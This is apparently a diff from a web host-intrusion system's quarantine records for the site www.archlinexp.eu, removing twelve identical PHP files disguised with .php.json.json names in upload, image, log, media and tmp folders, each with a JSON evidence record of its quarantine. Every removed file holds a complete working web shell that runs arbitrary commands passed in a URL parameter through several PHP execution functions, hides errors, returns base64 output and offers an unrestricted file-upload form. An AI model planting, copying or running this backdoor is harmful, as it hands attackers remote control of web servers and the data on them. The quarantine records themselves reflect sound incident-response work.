"rel_path": "files/_h3x_2hjfdfr5.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5286",
"log_excerpt": "[quarantine] www.archlinexp.eu:files/_h3x_aqjg408i.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783700163,
"size": 1228,
"uid": 20043
},
"rel_path": "files/_h3x_aqjg408i.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5287",
"log_excerpt": "[quarantine] www.archlinexp.eu:files/_h3x_vp8mjkv7.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783699442,
"size": 1228,
"uid": 20043
},
"rel_path": "files/_h3x_vp8mjkv7.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5188",
"log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_hzba1jvm.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783699438,
"size": 1228,
"uid": 20043
},
"rel_path": "images/_h3x_hzba1jvm.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5184",
"log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_je0zgowm.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783837750,
"size": 1228,
"uid": 20043
},
"rel_path": "images/_h3x_je0zgowm.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5198",
"log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_ott0201u.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783700159,
"size": 1228,
"uid": 20043
},
"rel_path": "images/_h3x_ott0201u.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5306",
"log_excerpt": "[quarantine] www.archlinexp.eu:logs/_h3x_hzuz4jb8.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783699441,
"size": 1228,
"uid": 20043
},
"rel_path": "logs/_h3x_hzuz4jb8.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5300",
"log_excerpt": "[quarantine] www.archlinexp.eu:logs/_h3x_nbmlj4wd.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783700162,
"size": 1228,
"uid": 20043
},
"rel_path": "logs/_h3x_nbmlj4wd.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5303",
"log_excerpt": "[quarantine] www.archlinexp.eu:logs/_h3x_nyg1j0r2.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783837755,
"size": 1228,
"uid": 20043
},
"rel_path": "logs/_h3x_nyg1j0r2.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4996",
"log_excerpt": "[quarantine] www.archlinexp.eu:media/_h3x_hn5jabjv.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783699440,
"size": 1228,
"uid": 20043
},
"rel_path": "media/_h3x_hn5jabjv.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "4989",
"log_excerpt": "[quarantine] www.archlinexp.eu:media/_h3x_qkrfp39e.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783700161,
"size": 1228,
"uid": 20043
},
"rel_path": "media/_h3x_qkrfp39e.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5001",
"log_excerpt": "[quarantine] www.archlinexp.eu:media/_h3x_sp89teja.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783837754,
"size": 1228,
"uid": 20043
},
"rel_path": "media/_h3x_sp89teja.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5225",
"log_excerpt": "[quarantine] www.archlinexp.eu:tmp/_h3x_axg1w8kw.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783699439,
"size": 1228,
"uid": 20043
},
"rel_path": "tmp/_h3x_axg1w8kw.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5221",
"log_excerpt": "[quarantine] www.archlinexp.eu:tmp/_h3x_ipxvztce.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783837751,
"size": 1228,
"uid": 20043
},
"rel_path": "tmp/_h3x_ipxvztce.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}

39
var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json
View File

@ -1,39 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
exit(0);
}
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

15
var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json.evidence.json
View File

@ -1,15 +0,0 @@
{
"finding_ref": "5220",
"log_excerpt": "[quarantine] www.archlinexp.eu:tmp/_h3x_ul3ooiwi.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json)",
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
"original_stat": {
"gid": 30037,
"mtime": 1783700160,
"size": 1228,
"uid": 20043
},
"rel_path": "tmp/_h3x_ul3ooiwi.php.json.json",
"result": "quarantined",
"timestamp": "20260718T155002Z",
"vhost": "www.archlinexp.eu"
}